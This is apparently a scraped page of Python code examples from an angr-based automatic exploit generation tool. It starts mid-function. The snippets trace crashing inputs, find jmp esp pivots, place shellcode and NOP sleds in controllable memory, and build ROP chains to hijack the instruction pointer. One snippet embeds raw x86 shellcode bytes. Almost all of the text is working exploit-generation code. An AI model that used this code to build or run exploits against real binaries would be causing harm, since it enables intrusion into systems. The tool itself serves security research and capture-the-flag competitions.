                                         input=self.crash,
                                         pov_file=self.pov_file,
                                         resiliency=False,
                                         hooks=self.hooks,
                                         add_options=add_options,
                                         remove_options=remove_options,
                                         keep_predecessors=2)
            ChallRespInfo.prep_tracer(self._tracer, format_infos)
            ZenPlugin.prep_tracer(self._tracer)
            prev, crash_state = self._tracer.run(constrained_addrs)

            # if there was no crash we'll have to use the previous path's state
            if crash_state is None:
                self.state = prev
            else:
                # the state at crash time
                self.state = crash_state

            zp = self.state.get_plugin('zen_plugin')
            if crash_state is None and (zp is not None
                                        and len(zp.controlled_transmits) == 0):
                l.warning("input did not cause a crash")
                raise NonCrashingInput

            l.debug("done tracing input")
            # a path leading up to the crashing basic block
            self.prev = prev

        else:
            self.state = crash_state
            self.prev = prev_path
            self._tracer = None

        # list of actions added during exploitation, probably better object for this attribute to belong to
        self.added_actions = []

        # hacky trick to get all bytes
        #memory_writes = [ ]
        #for var in self.state.memory.mem._name_mapping.keys():
        #    memory_writes.extend(self.state.memory.addrs_for_name(var))

        memory_writes = sorted(self.state.memory.mem.get_symbolic_addrs())
        l.debug("filtering writes")
        memory_writes = [m for m in memory_writes if m / 0x1000 != 0x4347c]
        user_writes = [
            m for m in memory_writes if any(
                "stdin" in v for v in self.state.memory.load(m, 1).variables)
        ]
        flag_writes = [
            m for m in memory_writes if any(
                v.startswith("cgc-flag")
                for v in self.state.memory.load(m, 1).variables)
        ]
        l.debug("done filtering writes")

        self.symbolic_mem = self._segment(user_writes)
        self.flag_mem = self._segment(flag_writes)

        # crash type
        self.crash_types = []
        # action (in case of a bad write or read) which caused the crash
        self.violating_action = None

        l.debug("triaging crash")
        self._triage_crash()
Beispiel #26
0
    def apply(self, **kwargs):

        # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_bin.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)
        


        read_addr = kwargs['read_addr']
        """
            Shellcode from S2E
        """
        exploitReadShellCode_start = "\xeb\x03\x59\xeb\x0e\xe8\xf8\xff\xff\xff\x5b\x52\x65\x73\x75\x6c\x74\x5d\x3a\x31\xc0\x83\xc0\x04\x31\xdb\x43\x89\xc2\x83\xc2\x05\xcd\x80\x31\xc0\x83\xc0\x04\x31\xdb\x43\xb9"
        exploitReadShellCode_end   = "\x89\xc2\xcd\x80\xc3"
        ReadShellCode_real_len = 0x34
        shellcode_read = exploitReadShellCode_start + struct.pack('I',int(read_addr,16)) + exploitReadShellCode_end
        read_shellcode_len = len(shellcode_read)
        exploitWriteShellCode_one = "\xbb" # + exploitWriteShellCodeAddr
        exploitWriteShellCode_two = "\xc7\x03" # + exploitWriteShellCodeValue
        WriteShellCode_three = "\xc3"
        exploitWriteShellCode_real_len = 0xc     
        nop_asm = '\x90'
        
        # use pwntool find jmp esp
        try:
            binary = ELF(self.crash.project.filename)
            jmp_esp = asm('jmp esp')
            jmp_esp_addr = binary.search(jmp_esp).next()   
            if jmp_esp_addr is not None:
                pass
            else:
                # if there's no jmp esp, then exit
                exit(0)   
        except:
            # we are in a thread, just exit, it's fine
            exit(0)  
        glob_control = self._global_control()
        largest_regions = sorted(glob_control.items(),key=operator.itemgetter(1),reverse=True)        
        for region in largest_regions:
            if region[0] > self.crash.state.se.any_int(self.crash.state.regs.esp): #controled region is under esp!
                if region[0] == self.crash.state.se.any_int(self.crash.state.regs.esp) + 4:#controled region is start at esp + 4
                    if region[1] > read_shellcode_len: #region can contain shellcode,then we will choose `jmp esp` way!                      
                        self.crash.state.add_constraints(self.crash.state.ip == jmp_esp_addr)  # add the constraint that the ip must point at the 'jmp sp' stub                      
                        free_space = region[1] - read_shellcode_len
                        shellcode_read = nop_asm * (free_space-1) + shellcode_read
                        read_shellcode_len = len(shellcode_read)
                        shc_constraint = self.crash.state.memory.load(region[0], read_shellcode_len) == self.crash.state.se.BVV(shellcode_read)
                        if self.crash.state.se.satisfiable(extra_constraints=(shc_constraint,)):
                            self.crash.state.add_constraints(shc_constraint)  
                        if not self.crash.state.satisfiable():
                            raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)                        
        
                        
            else: #controled region is above esp!
                """
                prepare jmp_back code
                """
                diff_addr = self.crash.state.se.any_int(self.crash.state.regs.esp) - region[0] - 4
                
                if diff_addr >= len(shellcode_read):  
                    jmp_offset_plus_4 = 'jmp $-' + str(0x2 + diff_addr) # plus four to handle EIP's size
                    jmp_offset_plus_4 = asm(jmp_offset_plus_4)
                    jmp_back_len = len(jmp_offset_plus_4)                
                    """
                    add constrain to make sure ret is overwrited by jmp_back code
                    """
                    #self.crash.state.add_constraints(self.crash.state.ip == jmp_esp_addr)
                    constant_jmpesp = self.crash.state.memory.load(self.crash.state.regs.esp - 4,4) == self.crash.state.se.BVV(struct.pack('I',jmp_esp_addr))
                    self.crash.state.add_constraints(constant_jmpesp)
                    
                    constant_jmpback = self.crash.state.memory.load(self.crash.state.regs.esp,jmp_back_len) == self.crash.state.se.BVV(jmp_offset_plus_4)
                    if self.crash.state.se.satisfiable(extra_constraints=(constant_jmpback,)):
                        self.crash.state.add_constraints(constant_jmpback)
                    for addr in range(region[0],region[0]+region[1]):                    
                        shc_constraint = self.crash.state.memory.load(addr, len(shellcode_read)) == self.crash.state.se.BVV(shellcode_read)
                        if self.crash.state.se.satisfiable(extra_constraints=(shc_constraint,)):
                            self.crash.state.add_constraints(shc_constraint)
                            break
                    if not self.crash.state.satisfiable():
                        raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)                  
                    if self.crash.state.satisfiable():
                        break
                else:
                    constant_jmpesp = self.crash.state.memory.load(self.crash.state.regs.esp - 4,4) == self.crash.state.se.BVV(struct.pack('I',jmp_esp_addr))
                    self.crash.state.add_constraints(constant_jmpesp)                    

                    for addr in range(self.crash.state.se.any_int(self.crash.state.regs.esp),region[0]+region[1]):                    
                        shc_constraint = self.crash.state.memory.load(addr, len(shellcode_read)) == self.crash.state.se.BVV(shellcode_read)
                        if self.crash.state.se.satisfiable(extra_constraints=(shc_constraint,)):
                            self.crash.state.add_constraints(shc_constraint)
                            break
                    if not self.crash.state.satisfiable():
                        raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)                  
                    if self.crash.state.satisfiable():
                        break                    
       
        
        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
Beispiel #27
0
    def apply(self, use_nopsled=False, **kwargs):

        # When ASLR is disabled, there might be a difference between the stack pointer we see in angr and the stack
        # pointer in the target process. Here we calculate the difference between our SP and the real one in coredump.
        sp_difference = 0
        if not self.crash.aslr and \
                not self.crash.state.regs.sp.symbolic and \
                self.crash.core_registers:
            if 'esp' in self.crash.core_registers:
                sp_difference = self.crash.core_registers['esp'] - \
                                self.crash.state.solver.eval(self.crash.state.regs.sp)
                l.debug("The difference between stack pointers is %#x bytes.",
                        sp_difference)

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_object.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        # try to write shellcode into global memory
        shellcode = self.shellcode.get_default(**kwargs)

        # try to use a "jmp esp/call esp"
        # 1) find all pivots
        # 2) try each of the pivots with the constraint that the data below the stack is our shellcode
        # 3) done
        if not self.crash.project.loader.main_object.pic and not self.crash.state.regs.sp.symbolic:
            l.debug("try: jmp esp")
            ld = self.crash.project.loader
            pivots = [
                x + ld.main_object.mapped_base
                for x in ld.main_object.memory.find(b'\xff\xe4')
            ]
            pivots += [
                x + ld.main_object.mapped_base
                for x in ld.main_object.memory.find(b'\xff\xd4')
            ]
            code_constraint = self.crash.state.memory.load(
                self.crash.state.regs.sp, len(shellcode)) == shellcode

            for pivot in pivots:
                exp = self._attempt_jump([code_constraint], pivot)
                if exp is not None:
                    return exp

        # try to write to some known memory address
        # 1) find a w+x region we can write to
        # 2) see if we can constrain its value to shellcode and the ip to that address
        # 3) done
        l.debug('try: shellcode in global data')
        shc_addr, shc_constraint = self._write_global_data(shellcode)
        if shc_addr is not None:
            exp = self._attempt_jump([shc_constraint], shc_addr)
            if exp is not None:
                return exp

        # try to see if we can jump directly to the stack
        # 1) check that aslr is disabled
        # 2) find all the regions on the stack that are touched by stdin
        # 3) find the largest of those regions that are not concretely constrained
        # 4) check that we can jump to the middle of a nopsled in one of them
        # 5) done
        if not self.crash.aslr:
            l.debug('try: absolute address in stack')
            base_stack_addrs = self.crash.stack_control()
            stack_addrs = {}
            for addr, size in base_stack_addrs.items():
                root = None
                for subaddr in range(addr, addr + size):
                    val = self.crash.state.memory.load(subaddr, 1)
                    # TODO: This sucks. do a real approximation with something like DVSA.
                    if any('aeg_stdin' in name for name in val.variables) and not \
                            any(c.op == '__eq__' for c in self.crash.state.solver.constraints if not c.variables - val.variables):
                        if root is not None:
                            stack_addrs[root] += 1
                        else:
                            root = subaddr
                            stack_addrs[root] = 1
                    else:
                        root = None

            word_size = self.crash.state.arch.bits // self.crash.state.arch.byte_width
            for root in sorted(stack_addrs, key=lambda a: -stack_addrs[a]):
                if stack_addrs[root] < len(shellcode):
                    continue

                # Where do we want to write the shellcode to? Note that we are not always able to write the shellcode
                # from the very beginning of root. Some smart probing is necessary.
                # FIXME: I'm not smart enough to do a smart probing.
                for offset in range(0, stack_addrs[root] - len(shellcode),
                                    word_size):
                    sc_data = self.crash.state.memory.load(
                        root + offset, len(shellcode))
                    sc_constraint = sc_data == shellcode
                    if self.crash.state.solver.satisfiable(
                            extra_constraints=(sc_constraint, )):
                        break
                else:
                    l.debug(
                        "Cannot write shellcode in region %#x(%#x bytes). Probe the next region.",
                        root, stack_addrs[root])
                    continue
                l.debug("We may write shellcode on the stack at %#x.",
                        root + offset)

                if use_nopsled:
                    nopsled_size = self._determine_nopsled_lenth(
                        stack_addrs, root, offset, shellcode)
                else:
                    nopsled_size = 0

                # try the addresses in a spiral pattern
                addrs = list(range(nopsled_size + 1))
                cur = len(addrs) // 2
                for i in range(len(addrs)):
                    if i % 2 == 0:
                        cur += i
                    else:
                        cur -= i
                    addr = root + offset + addrs[cur]
                    adjusted_addr = addr + sp_difference
                    exp = self._attempt_jump([sc_constraint],
                                             adjusted_addr,
                                             bypasses_aslr=False)
                    if exp is not None:
                        return exp

        # try to read shellcode into memory into one of the aforementioned addresses
        l.debug("try: read shellcode into global data")
        try:
            shc_addr, shc_constraint = self._read_in_global_data(shellcode)
        except CannotExploit as e:
            raise CannotExploit(
                "[%s] cannot call read (all other call-shellcodes failed)" %
                self.name) from e

        exp = self._attempt_jump([shc_constraint], shc_addr)
        if exp is not None:
            return exp

        raise CannotExploit("[%s] EVERYTHING FAILED" % self.name)
Beispiel #28
0
	def __init__(self, binary, crash=None, pov_file=None, aslr=None, constrained_addrs=None, crash_state=None,
                 prev_path=None, hooks=None, format_infos=None, rop_cache_tuple=None, use_rop=True,
                 explore_steps=0, angrop_object=None):
        '''
        :binary: path to the binary which crashed   
        binary:待检测的程序
        :crash: string of input which crashed the binary  
        crash:造成程序崩溃的输入
        :pov_file: CGC PoV describing a crash   
        pov_file:CGC PoV文件,描述一个crash
        :aslr: analyze the crash with aslr on or off   
        aslr:aslr开或关
        :constrained_addrs: list of addrs which have been constrained during exploration  
        constrained_addrs:在探索路径过程中被限制的地址
        :crash_state: an already traced crash state       
        crash_state:已经追踪过的crash状态
        :prev_path: path leading up to the crashing block      
        prev_path:到达crash块的路径
        :hooks: dictionary of simprocedure hooks, addresses to simprocedures    
        hooks:哪些地址不被执行
        :format_infos: a list of atoi FormatInfo objects that should be used when analyzing the crash  
        format_infos:aoti FormatInfo 对象,在分析crash时被使用
        :rop_cache_tuple: a angrop tuple to load from        
        rop_cache_tuple:angrop——rop gadget finder and chain builder
        :use_rop: whether or not to use rop           
        use_rop:是否使用rop
        :explore_steps: number of steps which have already been explored, should only set by exploration methods       
        explore_steps:已经被探索过的步数,只能被探索方法赋值
        :angrop_object: an angrop object, should only be set by exploration methods      
        angrop_object:angrop对象,只能被探索方法赋值
        '''

        self.binary = binary
        self.crash  = crash
        self.pov_file = pov_file
        self.constrained_addrs = [ ] if constrained_addrs is None else constrained_addrs
        self.hooks = hooks
        self.explore_steps = explore_steps

        if self.explore_steps > 10:
            raise CannotExploit("Too many steps taken during crash exploration")

        self.project = angr.Project(binary)

        # we search for ROP gadgets now to avoid the memory exhaustion bug in pypy   现在寻找rop gadget,以防内存耗尽
        # hash binary contents for rop cache name                                    binhash存放rop缓存名
        binhash = hashlib.md5(open(self.binary).read()).hexdigest()
        rop_cache_path = os.path.join("/tmp", "%s-%s-rop" % (os.path.basename(self.binary), binhash))

        if use_rop:
            if angrop_object is not None:
                self.rop = angrop_object
            else:
                self.rop = self.project.analyses.ROP()
                if rop_cache_tuple is not None:
                    l.info("loading rop gadgets from cache tuple")
                    self.rop._load_cache_tuple(rop_cache_tuple)
                elif os.path.exists(rop_cache_path):
                    l.info("loading rop gadgets from cache '%s'", rop_cache_path)
                    self.rop.load_gadgets(rop_cache_path)
                else:
                    self.rop.find_gadgets()
                    self.rop.save_gadgets(rop_cache_path)
        else:
            self.rop = None

        self.os = self.project.loader.main_bin.os

        # determine the aslr of a given os and arch
        if aslr is None:
            if self.os == "cgc": # 本例没有CGC。cgc has no ASLR, but we don't assume a stackbase
                self.aslr = False
            else: # we assume linux is going to enfore stackbased aslr
                self.aslr = True
        else:
            self.aslr = aslr
Beispiel #29
0
    def _ip_overwrite_with_chain(self,
                                 chain,
                                 state=None,
                                 assert_next_ip_controlled=False):
        '''
        exploit an ip overwrite using rop
        :param chain: rop chain to use
        :param state: an optionally state to work off of
        :param assert_next_ip_controlled: if set we use heuristics to ensure control of the next ip
        :return: a tuple containing a new constrained chain and the address to place the chain
        '''

        if state is None:
            state = self.crash.state

        sp = state.se.any_int(state.regs.sp)

        # first let's see what kind of stack control we have
        symbolic_stack = self._stack_control()
        if len(symbolic_stack) == 0:
            l.warning(
                "no controlled data beneath stack, need to resort to shellcode"
            )
            raise CannotExploit("no controlled data beneath sp")

        chain_addr = None
        stack_pivot = None
        # loop until we can find a chain which gets us to our setter gadget
        for addr in symbolic_stack:
            # increase payload length by wordsize for the final ip hijack
            chain_req = chain.payload_len + self.crash.project.arch.bytes

            # is the space too small?
            if not symbolic_stack[addr] >= chain_req:
                continue

            # okay we have a symbolic region which fits and is below sp
            # can we pivot there?
            for gadget in self.rop.gadgets:
                # let's make sure the gadget is sane

                # TODO: consult state before throwing out a gadget, some of these memory
                # accesses might be acceptable
                if len(gadget.mem_changes + gadget.mem_writes +
                       gadget.mem_reads) > 0:
                    continue

                # if we assume all gadgets end in a 'ret' we can subtract 4 from the stack_change
                # as we're not interested in the ret's effect on stack movement, because when the
                # ret executes we'll have chain control
                jumps_to = sp + (gadget.stack_change -
                                 self.crash.project.arch.bytes)
                # does it hit the controlled region?
                if jumps_to >= addr and jumps_to < addr + symbolic_stack[addr]:
                    # it lands in a controlled region, but does our chain fit?
                    offered_size = symbolic_stack[addr] - (jumps_to - addr)
                    if offered_size >= chain_req:
                        # we're in!
                        chain_addr = jumps_to
                        stack_pivot = gadget

                        scratch = state.copy()
                        chain_cp = chain.copy()

                        # test to see if things are still satisfiable
                        chain_constraints = []

                        chain_constraints.append(
                            state.regs.ip == stack_pivot.addr)

                        # TODO: update rop to make this possible without refering to internal vars
                        # we constrain our rop chain to being equal to our payload, preventing the chain builder
                        # from putting illegal characters into positions we don't care about
                        for cons in chain_cp._blank_state.se.constraints:
                            scratch.add_constraints(cons)

                        chain_bytes = chain_cp.payload_bv()
                        payload_bytes = scratch.memory.load(
                            chain_addr, chain.payload_len)

                        scratch.add_constraints(chain_bytes == payload_bytes)

                        chain_cp._blank_state = scratch

                        mem = state.memory.load(chain_addr,
                                                chain_cp.payload_len)

                        try:
                            cbvv = state.se.BVV(chain_cp.payload_str())
                        except simuvex.SimUnsatError:
                            # it's completely possibly that the values we need need in the chain can't exist due to
                            # constraints on memory, for example if we need the value '1' to exist in our chain, when
                            # our chain enter the process memory space with a 'strcpy', '1' cannot exist because its
                            # value will contain null bytes
                            continue  # the chain itself cannot exist here

                        chain_constraints.append(mem == cbvv)

                        # if the chain can't be placed here, let's try again
                        if not state.satisfiable(
                                extra_constraints=chain_constraints):
                            continue

                        # extra checks for ip control
                        if assert_next_ip_controlled:
                            ip_bv = scratch.memory.load(
                                chain_addr + chain.payload_len,
                                self.crash.project.arch.bytes)
                            if not state.satisfiable(
                                    extra_constraints=chain_constraints +
                                [ip_bv == 0x41414141]):
                                continue
                            if not state.satisfiable(
                                    extra_constraints=chain_constraints +
                                [ip_bv == 0x56565656]):
                                continue

                        # constrain eip to equal the stack_pivot
                        state.add_constraints(
                            state.regs.ip == stack_pivot.addr)
                        return chain_cp, chain_addr

        raise CannotExploit("unable to insert chain")
Beispiel #30
0
    def _ip_overwrite_call_shellcode(self, shellcode, variables=None):
        '''
        exploit an ip overwrite with shellcode
        :param shellcode: shellcode to call
        :param variables: variables to check unconstrainedness of
        :return: tuple of the address to jump to, and address of requested shellcode in memory
        '''

        # TODO inspect register state and see if any registers are pointing to symbolic memory
        # if any registers are pointing to symbolic memory look for gadgets to call or jmp there

        if variables is None:
            variables = []

        # accumulate valid memory, this depends on the os and memory permissions
        valid_memory = {}

        # XXX don't handle ASLR elegantly at the moment, maybe when angr supports it we can query a page for randomness
        if not self.crash.aslr or self.crash.os == "cgc":
            for mem in self.crash.symbolic_mem:
                # ask if the mem is executable
                prots = self.crash.state.memory.permissions(mem)
                if self.crash.state.se.any_int(prots) & 4:  # PROT_EXEC is 4
                    valid_memory[mem] = self.crash.symbolic_mem[mem]

        # XXX linux special case, bss is executable if the stack is executable
        if self.crash.project.loader.main_bin.execstack and self.crash.os == "unix":
            valid_memory.update(self._global_control())

        # hack! max address hueristic for CGC
        for mem, _ in sorted(valid_memory.items(), \
                key=lambda x: (0xffffffff - x[0]) + x[1])[::-1]:
            for mem_start in xrange(
                    mem + valid_memory[mem] - (len(shellcode) / 8), mem, -1):

                # default jump addr is the shellcode
                jump_addr = mem_start

                shc_constraints = []

                shc_constraints.append(self.crash.state.regs.ip == mem_start)

                sym_mem = self.crash.state.memory.load(mem_start,
                                                       len(shellcode) / 8)
                shc_constraints.append(sym_mem == shellcode)

                # hack! TODO: make this stronger/more flexible
                for v in variables:
                    shc_constraints.append(v == 0x41414141)

                if self.crash.state.satisfiable(
                        extra_constraints=shc_constraints):

                    # room for a nop sled?
                    length = mem_start - mem
                    if length > 0:

                        # try to add a nop sled, we could be more thorough, but it takes too
                        # much time
                        new_nop_constraints = []

                        sym_nop_mem = self.crash.state.memory.load(mem, length)
                        nop_sld_bvv = self.crash.state.se.BVV("\x90" * length)
                        nop_const = sym_nop_mem == nop_sld_bvv

                        # can the nop sled exist?
                        new_nop_constraints.append(nop_const)
                        # can the shellcode still exist?
                        new_nop_constraints.append(sym_mem == shellcode)
                        # can ip point to the nop sled?
                        new_nop_constraints.append(
                            self.crash.state.regs.ip == mem)

                        if self.crash.state.satisfiable(
                                extra_constraints=new_nop_constraints):
                            jump_addr = mem

                    return (jump_addr, mem_start)

        raise CannotExploit("no place to fit shellcode")